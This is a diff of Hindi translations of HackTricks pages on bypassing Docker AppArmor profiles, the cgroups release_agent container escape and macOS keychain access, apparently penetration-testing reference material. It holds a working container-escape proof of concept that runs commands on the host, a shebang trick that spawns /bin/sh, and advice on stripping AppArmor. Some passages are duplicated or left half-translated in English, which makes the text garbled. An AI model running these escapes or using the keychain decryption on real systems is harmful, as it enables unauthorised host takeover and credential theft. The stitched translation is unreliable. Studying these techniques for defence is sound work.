रूप से लोड किया जाता है: ```bash sudo aa-status apparmor module is loaded. @@ -191,85 +177,97 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +डिफ़ॉल्ट रूप से **Apparmor docker-default प्रोफ़ाइल** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) से उत्पन्न होती है -**docker-default profile Summary**: +**docker-default प्रोफ़ाइल सारांश**: -* **सभी नेटवर्किंग** तक **पहुंच** -* **कोई क्षमता** परिभाषित नहीं है (हालांकि, कुछ क्षमताएँ मूल बेस नियम शामिल करने से आएगी जैसे #include \ ) -* किसी भी **/proc** फ़ाइल में **लेखन** की **अनुमति नहीं** है -* **अन्य उपनिर्देशिकाएँ**/**फ़ाइलें** /**proc** और /**sys** की **पढ़ने/लिखने/लॉक/लिंक/क्रियान्वयन पहुंच** को **इनकार किया गया है** -* **माउंट** की **अनुमति नहीं** है -* **Ptrace** केवल उस प्रक्रिया पर चलाया जा सकता है जो **एक ही apparmor प्रोफ़ाइल द्वारा सीमित** है +* सभी **नेटवर्किंग** तक **पहुँच** +* **कोई क्षमता** परिभाषित नहीं है (हालांकि, कुछ क्षमताएँ बुनियादी आधार नियमों को शामिल करने से आएँगी यानी #include \) +* किसी भी **/proc** फ़ाइल में **लिखना** **अनुमति नहीं है** +* /**proc** और /**sys** के अन्य **उपनिर्देशिकाएँ**/**फ़ाइलें** पढ़ने/लिखने/लॉक/लिंक/निष्पादित करने की पहुँच **अस्वीकृत** हैं +* **माउंट** **अनुमति नहीं है** +* **Ptrace** केवल उस प्रक्रिया पर चलाया जा सकता है जो **समान apparmor प्रोफ़ाइल** द्वारा सीमित है -एक बार जब आप **एक डॉकर कंटेनर चलाते हैं** तो आपको निम्नलिखित आउटपुट दिखाई देना चाहिए: +एक बार जब आप **docker कंटेनर** चलाते हैं, तो आपको निम्नलिखित आउटपुट देखना चाहिए: ```bash 1 processes are in enforce mode. docker-default (825) ``` -नोट करें कि **एपार्मर** डिफ़ॉल्ट रूप से कंटेनर को दी गई **क्षमताएँ भी रोक देगा**। उदाहरण के लिए, यह **/proc के अंदर लिखने की अनुमति को रोक सकता है भले ही SYS\_ADMIN क्षमता दी गई हो** क्योंकि डॉकर एपार्मर प्रोफ़ाइल डिफ़ॉल्ट रूप से इस पहुंच को इनकार करता है: +ध्यान दें कि **apparmor डिफ़ॉल्ट रूप से कंटेनर को दी गई क्षमताओं के विशेषाधिकारों को भी ब्लॉक करेगा**। उदाहरण के लिए, यह **/proc के अंदर लिखने की अनुमति को ब्लॉक कर सकेगा, भले ही SYS\_ADMIN क्षमता दी गई हो** क्योंकि डिफ़ॉल्ट रूप से docker apparmor प्रोफ़ाइल इस एक्सेस को अस्वीकार करती है: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` -आपको **apparmor को अक्षम** करना होगा ताकि इसकी प्रतिबंधिताओं को अनदेखा किया जा सके: +आपको इसकी सीमाओं को बायपास करने के लिए **apparmor** को अक्षम करना होगा: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -नोट करें कि डिफ़ॉल्ट रूप से **AppArmor** भी **कंटेनर को माउंट करने से रोकेगा** अंदर से भी SYS\_ADMIN क्षमता के साथ। +ध्यान दें कि डिफ़ॉल्ट रूप से **AppArmor** भी **कंटेनर को** अंदर से फ़ोल्डर माउंट करने **से मना करेगा** भले ही SYS\_ADMIN क्षमता हो। -नोट करें कि आप **क्षमताएँ जोड़ सकते/हटा सकते हैं** डॉकर कंटेनर में (यह अब भी **AppArmor** और **Seccomp** जैसी सुरक्षा विधियों द्वारा प्रतिबंधित रहेगा): +ध्यान दें कि आप **docker** कंटेनर में **क्षमताएँ** **जोड़/हटा** सकते हैं (यह अभी भी **AppArmor** और **Seccomp** जैसी सुरक्षा विधियों द्वारा प्रतिबंधित होगा): * `--cap-add=SYS_ADMIN` `SYS_ADMIN` क्षमता दें * `--cap-add=ALL` सभी क्षमताएँ दें -* `--cap-drop=ALL --cap-add=SYS_PTRACE` सभी क्षमताएँ हटाएं और केवल `SYS_PTRACE` दें +* `--cap-drop=ALL --cap-add=SYS_PTRACE` सभी क्षमताएँ हटा दें और केवल `SYS_PTRACE` दें {% hint style="info" %} -सामान्यत: जब आपको पाता चलता है कि आपके पास एक **विशेषाधिकार क्षमता** उपलब्ध है **कंटेनर के अंदर** **लेकिन** कुछ हिस्सा **एक्सप्लॉइट काम नहीं कर रहा है**, तो यह इसलिए हो सकता है कि डॉकर **AppArmor इसे रोक रहा होगा**। +आमतौर पर, जब आप **पाते** हैं कि आपके पास एक **विशिष्ट क्षमता** **docker** कंटेनर के **अंदर** उपलब्ध है **लेकिन** **शोषण का कुछ हिस्सा काम नहीं कर रहा है**, तो इसका कारण यह होगा कि docker **apparmor इसे रोक रहा होगा**। {% endhint %} ### उदाहरण -(उदाहरण [**यहाँ से**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) से) +(उदाहरण [**यहां**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) से) -AppArmor कार्यक्षमता को विस्तारित करने के लिए, मैंने एक नया डॉकर प्रोफ़ाइल "mydocker" बनाया जिसमें निम्नलिखित पंक्ति जोड़ी गई: +AppArmor कार्यक्षमता को स्पष्ट करने के लिए, मैंने निम्नलिखित पंक्ति के साथ एक नया Docker प्रोफ़ाइल "mydocker" बनाया: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` -इस प्रोफ़ाइल को सक्रिय करने के लिए, हमें निम्नलिखित कार्रवाई करनी होगी: +प्रोफ़ाइल को सक्रिय करने के लिए, हमें निम्नलिखित करना होगा: ``` sudo apparmor_parser -r -W mydocker ``` -अद्यतन किए गए AppArmor प्रोफ़ाइल को सूचीबद्ध करने के लिए, हम निम्नलिखित कमांड का उपयोग कर सकते हैं। नीचे दिए गए कमांड मेरे नए AppArmor प्रोफ़ाइल को सूचीबद्ध कर रहा है। +प्रोफाइल सूचीबद्ध करने के लिए, हम निम्नलिखित कमांड कर सकते हैं। नीचे दी गई कमांड मेरे नए AppArmor प्रोफाइल को सूचीबद्ध कर रही है। ``` $ sudo apparmor_status | grep mydocker mydocker ``` -जैसा नीचे दिखाया गया है, हमें " /etc/ " बदलने की कोशिश करने पर त्रुटि मिलती है क्योंकि AppArmor प्रोफ़ाइल " /etc/ " में लेखन पहुंचने से रोक रहा है। +जैसा कि नीचे दिखाया गया है, जब हम “/etc/” को बदलने की कोशिश करते हैं तो हमें त्रुटि मिलती है क्योंकि AppArmor प्रोफ़ाइल “/etc” पर लिखने की पहुँच को रोक रही है। ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` -### AppArmor डॉकर बायपास1 +### AppArmor Docker Bypass1 -आप निम्नलिखित का उपयोग करके **पता लगा सकते हैं कि कौन सा **apparmor प्रोफ़ाइल** एक कंटेनर चला रहा है**: +आप यह पता लगा सकते हैं कि **कौन सा apparmor प्रोफ़ाइल एक कंटेनर चला रहा है**: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` -फिर, आप निम्नलिखित पंक्ति को चला सकते हैं **उपयोग किया जा रहा सटीक प्रोफ़ाइल खोजने के लिए**: +फिर, आप निम्नलिखित पंक्ति चला सकते हैं **सटीक प्रोफ़ाइल खोजने के लिए जो उपयोग की जा रही है**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` +In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. + ### AppArmor Docker Bypass2 -**AppArmor का मार्ग-आधारित है**, इसका मतलब है कि यदि यह **फ़ाइलें सुरक्षित कर रहा है** तो भी एक निर्देशिका के भीतर फ़ाइलें जैसे **`/proc`** अगर आप **कॉन्टेनर को कैसे चलाया जाएगा वह विन्यासित कर सकते हैं**, तो आप **माउंट** कर सकते हैं होस्ट के proc निर्देशिका को **`/host/proc`** और यह **अब AppArmor द्वारा सुरक्षित नहीं होगा**। +**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. ### AppArmor Shebang Bypass -[**इस बग**](https://bugs.launchpad.net/apparmor/+bug/1911431) में आप देख सकते हैं कि **यदि आप किसी विशेष संसाधन के साथ पर्ल को चलाने से रोक रहे हैं**, तो भी यदि आप केवल पहली पंक्ति में **`#!/usr/bin/perl`** निर्दिष्ट करते हैं और आप **फ़ाइल को सीधे निष्पादित करते हैं**, तो आप चाहें जो भी चाहें निष्पादित कर सकते हैं। उदा: +In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: + +अजीब स्थिति में आप **apparmor docker प्रोफ़ाइल को संशोधित कर सकते हैं और इसे फिर से लोड कर सकते हैं।** आप प्रतिबंधों को हटा सकते हैं और "बायपास" कर सकते हैं। + +### AppArmor Docker Bypass2 + +**AppArmor पथ आधारित है**, इसका मतलब है कि भले ही यह एक निर्देशिका के अंदर फ़ाइलों की **रक्षा** कर रहा हो जैसे कि **`/proc`** यदि आप **कॉन्फ़िगर कर सकते हैं कि कंटेनर कैसे चलाया जाएगा**, आप **माउंट** कर सकते हैं होस्ट की proc निर्देशिका को **`/host/proc`** के अंदर और यह **अब AppArmor द्वारा संरक्षित नहीं होगा**। + +### AppArmor Shebang Bypass + +[**इस बग**](https://bugs.launchpad.net/apparmor/+bug/1911431) में आप एक उदाहरण देख सकते हैं कि **भले ही आप कुछ संसाधनों के साथ perl को चलाने से रोक रहे हों**, यदि आप बस एक शेल स्क्रिप्ट बनाते हैं **पहली पंक्ति में निर्दिष्ट करते हुए** **`#!/usr/bin/perl`** और आप **फाइल को सीधे निष्पादित करते हैं**, तो आप जो चाहें उसे निष्पादित कर सकेंगे। उदाहरण: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -279,29 +277,17 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** प्रेरित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **क्षति** पहुंचाई गई है या नहीं। - -WhiteIntel का मुख्य उद्देश्य खाता हासिल करने और जानकारी चुराने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है। - -आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और प्रैक्टिस करें AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और प्रैक्टिस करें GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +HackTricks का समर्थन करें -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 पर **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index b7b4ae141..e4e02e8aa 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -1,37 +1,24 @@ # Docker release\_agent cgroups escape {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+**अधिक जानकारी के लिए, कृपया** [**मूल ब्लॉग पोस्ट**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** को देखें।** यह केवल एक सारांश है: -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **नि:शुल्क** सुविधाएं प्रदान करता है ताकि यह जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **कंप्रोमाइज** किया गया है या नहीं। - -WhiteIntel का मुख्य उद्देश्य खाता हस्तांतरण और जानकारी चोरी करने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है। - -आप उनकी वेबसाइट देख सकते हैं और **नि:शुल्क** में उनका इंजन प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - -**अधिक विवरण के लिए, मूल ब्लॉग पोस्ट**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** का संदर्भ देखें। यह केवल एक सारांश है:** - -मूल PoC: +Original PoC: ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -प्रमाण संदर्भ (PoC) एक विधि का प्रदर्शन करता है जिससे cgroups का शोषण किया जा सकता है एक `release_agent` फ़ाइल बनाकर और इसके आह्वान को ट्रिगर करके कंटेनर होस्ट पर विभिन्न कमांड्स को निषेधात्मक रूप से चलाने के लिए। यहाँ शामिल हैं जो कदम शामिल हैं: +The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: -1. **पर्यावरण की तैयारी:** -* एक निर्देशिका `/tmp/cgrp` बनाई गई है जो cgroup के लिए माउंट पॉइंट के रूप में सेवा करेगी। -* RDMA cgroup नियंत्रक को इस निर्देशिका पर माउंट किया गया है। RDMA नियंत्रक की अनुपस्थिति के मामले में, एक वैकल्पिक रूप से `memory` cgroup नियंत्रक का उपयोग करने की सिफारिश की जाती है। +1. **पर्यावरण तैयार करें:** +* एक निर्देशिका `/tmp/cgrp` बनाई जाती है जो cgroup के लिए माउंट पॉइंट के रूप में कार्य करती है। +* RDMA cgroup नियंत्रक को इस निर्देशिका में माउंट किया जाता है। RDMA नियंत्रक की अनुपस्थिति की स्थिति में, वैकल्पिक के रूप में `memory` cgroup नियंत्रक का उपयोग करने की सिफारिश की जाती है। ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` -2. **बच्चा सीग्रुप सेट अप करें:** -* माउंट किए गए सीग्रुप निर्देशिका के भीतर "x" नाम का एक बच्चा सीग्रुप बनाया जाता है। -* "x" सीग्रुप के लिए सूचनाएं सक्षम की जाती हैं जिसके लिए उसके notify\_on\_release फ़ाइल में 1 लिखकर। +2. **बच्चे Cgroup सेट करें:** +* एक बच्चे cgroup जिसका नाम "x" है, माउंट किए गए cgroup निर्देशिका के भीतर बनाया गया है। +* "x" cgroup के लिए सूचनाएँ सक्षम की जाती हैं, इसके notify\_on\_release फ़ाइल में 1 लिखकर। ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` -3. **रिलीज एजेंट कॉन्फ़िगर करें:** +3. **रिलीज एजेंट को कॉन्फ़िगर करें:** * होस्ट पर कंटेनर का पथ /etc/mtab फ़ाइल से प्राप्त किया जाता है। -* फिर cgroup का release\_agent फ़ाइल कॉन्फ़िगर किया जाता है ताकि एक स्क्रिप्ट जिसका नाम /cmd है जो प्राप्त होस्ट पथ पर स्थित है, को निष्पादित करें। +* फिर cgroup की release\_agent फ़ाइल को प्राप्त किए गए होस्ट पथ पर स्थित /cmd नामक स्क्रिप्ट को निष्पादित करने के लिए कॉन्फ़िगर किया जाता है। ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` 4. **/cmd स्क्रिप्ट बनाएं और कॉन्फ़िगर करें:** -* /cmd स्क्रिप्ट कंटेनर के अंदर बनाया जाता है और इसे कॉन्फ़िगर किया जाता है कि ps aux को execute करें, जो आउटपुट को कंटेनर में /output नामक फ़ाइल में redirect करेगा। /output का पूरा पथ होस्ट पर निर्दिष्ट किया जाता है। +* /cmd स्क्रिप्ट कंटेनर के अंदर बनाई जाती है और इसे ps aux निष्पादित करने के लिए कॉन्फ़िगर किया जाता है, जिसका आउटपुट कंटेनर में /output नामक फ़ाइल में पुनर्निर्देशित किया जाता है। होस्ट पर /output का पूरा पथ निर्दिष्ट किया गया है। ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` -5. **हमला प्रारंभ करें:** -* एक प्रक्रिया "x" बाल cgroup के अंदर प्रारंभ की जाती है और तुरंत समाप्त हो जाती है। -* इससे `release_agent` (/cmd स्क्रिप्ट) को ट्रिगर होता है, जो होस्ट पर ps aux का निष्पादन करता है और आउटपुट को कंटेनर के अंदर /output में लिखता है। +5. **हमला शुरू करें:** +* "x" चाइल्ड cgroup के भीतर एक प्रक्रिया शुरू की जाती है और तुरंत समाप्त कर दी जाती है। +* यह `release_agent` (जो /cmd स्क्रिप्ट है) को सक्रिय करता है, जो होस्ट पर ps aux चलाता है और आउटपुट को कंटेनर के भीतर /output पर लिखता है। ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **कंप्रोमाइज** किया गया है। - -WhiteIntel का मुख्य उद्देश्य खाता हासिल करने और जानकारी चुराने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है। - -आप उनकी वेबसाइट चेक कर सकते हैं और उनके इंजन का प्रयास कर सकते हैं **मुफ्त** में: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +HackTricks का समर्थन करें -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md index 8c4c669ef..320d23cc5 100644 --- a/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/macos-hardening/macos-red-teaming/macos-keychain.md @@ -15,30 +15,17 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+## Main Keychains -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या इसके ग्राहक **सुरक्षित** हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा। +* **यूजर कीचेन** (`~/Library/Keychains/login.keycahin-db`), जिसका उपयोग **यूजर-विशिष्ट क्रेडेंशियल्स** जैसे एप्लिकेशन पासवर्ड, इंटरनेट पासवर्ड, यूजर-जनित सर्टिफिकेट, नेटवर्क पासवर्ड, और यूजर-जनित सार्वजनिक/निजी कुंजियों को स्टोर करने के लिए किया जाता है। +* **सिस्टम कीचेन** (`/Library/Keychains/System.keychain`), जो **सिस्टम-व्यापी क्रेडेंशियल्स** जैसे WiFi पासवर्ड, सिस्टम रूट सर्टिफिकेट, सिस्टम निजी कुंजियाँ, और सिस्टम एप्लिकेशन पासवर्ड को स्टोर करता है। -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। +### Password Keychain Access -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: +ये फ़ाइलें, जबकि इनमें अंतर्निहित सुरक्षा नहीं है और इन्हें **डाउनलोड** किया जा सकता है, एन्क्रिप्टेड हैं और इन्हें **डिक्रिप्ट करने के लिए यूजर का प्लेनटेक्स्ट पासवर्ड** की आवश्यकता होती है। डिक्रिप्शन के लिए [**Chainbreaker**](https://github.com/n0fate/chainbreaker) जैसे टूल का उपयोग किया जा सकता है। -{% embed url="https://whiteintel.io" %} - -*** - -## मुख्य कीचेन - -* **यूजर कीचेन** (`~/Library/Keychains/login.keycahin-db`), जिसका उपयोग **उपयोगकर्ता-विशिष्ट क्रेडेंशियल्स** जैसे एप्लिकेशन पासवर्ड, इंटरनेट पासवर्ड, उपयोगकर्ता-निर्मित प्रमाणपत्र, नेटवर्क पासवर्ड, और उपयोगकर्ता-निर्मित सार्वजनिक/निजी कुंजियों को स्टोर करने के लिए किया जाता है। -* **सिस्टम कीचेन** (`/Library/Keychains/System.keychain`), जो **सिस्टम-व्यापी क्रेडेंशियल्स** जैसे WiFi पासवर्ड, सिस्टम रूट प्रमाणपत्र, सिस्टम निजी कुंजियाँ, और सिस्टम एप्लिकेशन पासवर्ड को स्टोर करता है। - -### पासवर्ड कीचेन एक्सेस - -ये फ़ाइलें, जबकि इनमें अंतर्निहित सुरक्षा नहीं है और इन्हें **डाउनलोड** किया जा सकता है, एन्क्रिप्टेड हैं और इन्हें **डिक्रिप्ट** करने के लिए **उपयोगकर्ता का प्लेनटेक्स्ट पासवर्ड** की आवश्यकता होती है। डिक्रिप्शन के लिए [**Chainbreaker**](https://github.com/n0fate/chainbreaker) जैसे टूल का उपयोग किया जा सकता है। - -## कीचेन प्रविष्टियाँ सुरक्षा +## Keychain Entries Protections ### ACLs @@ -48,37 +35,37 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार * **ACLAuhtorizationExportWrapped**: धारक को दूसरे प्रदान किए गए पासवर्ड के साथ एन्क्रिप्टेड स्पष्ट पाठ प्राप्त करने की अनुमति देता है। * **ACLAuhtorizationAny**: धारक को कोई भी क्रिया करने की अनुमति देता है। -ACLs के साथ एक **विश्वसनीय अनुप्रयोगों की सूची** होती है जो बिना प्रॉम्प्ट के ये क्रियाएँ कर सकती हैं। यह हो सकता है: +ACLs के साथ एक **विश्वसनीय एप्लिकेशन की सूची** भी होती है जो बिना प्रॉम्प्ट के ये क्रियाएँ कर सकती है। यह हो सकता है: * **N`il`** (कोई प्राधिकरण आवश्यक नहीं, **सभी विश्वसनीय हैं**) * एक **खाली** सूची (**कोई भी** विश्वसनीय नहीं है) -* **विशिष्ट** **अनुप्रयोगों** की **सूची**। +* **विशिष्ट** **एप्लिकेशनों** की **सूची**। इसके अलावा, प्रविष्टि में कुंजी **`ACLAuthorizationPartitionID`** हो सकती है, जिसका उपयोग **teamid, apple,** और **cdhash** की पहचान के लिए किया जाता है। -* यदि **teamid** निर्दिष्ट है, तो **प्रविष्टि** मान **बिना** **प्रॉम्प्ट** के **एक्सेस** करने के लिए उपयोग किए जाने वाले अनुप्रयोग का **समान teamid** होना चाहिए। +* यदि **teamid** निर्दिष्ट है, तो **प्रविष्टि** मान **बिना** **प्रॉम्प्ट** के **एक्सेस** करने के लिए उपयोग की जाने वाली एप्लिकेशन को **समान teamid** होना चाहिए। * यदि **apple** निर्दिष्ट है, तो ऐप को **Apple** द्वारा **साइन** किया जाना चाहिए। * यदि **cdhash** निर्दिष्ट है, तो **ऐप** को विशिष्ट **cdhash** होना चाहिए। -### कीचेन प्रविष्टि बनाना +### Creating a Keychain Entry जब **`Keychain Access.app`** का उपयोग करके एक **नया** **प्रविष्टि** बनाई जाती है, तो निम्नलिखित नियम लागू होते हैं: -* सभी ऐप्स एन्क्रिप्ट कर सकते हैं। -* **कोई ऐप्स** निर्यात/डिक्रिप्ट नहीं कर सकते (उपयोगकर्ता को प्रॉम्प्ट किए बिना)। -* सभी ऐप्स इंटीग्रिटी चेक देख सकते हैं। -* कोई ऐप्स ACLs को नहीं बदल सकते। +* सभी ऐप एन्क्रिप्ट कर सकते हैं। +* **कोई ऐप** निर्यात/डिक्रिप्ट नहीं कर सकता (यूजर को प्रॉम्प्ट किए बिना)। +* सभी ऐप इंटीग्रिटी चेक देख सकते हैं। +* कोई ऐप ACLs को बदल नहीं सकता। * **partitionID** को **`apple`** पर सेट किया गया है। -जब एक **अनुप्रयोग 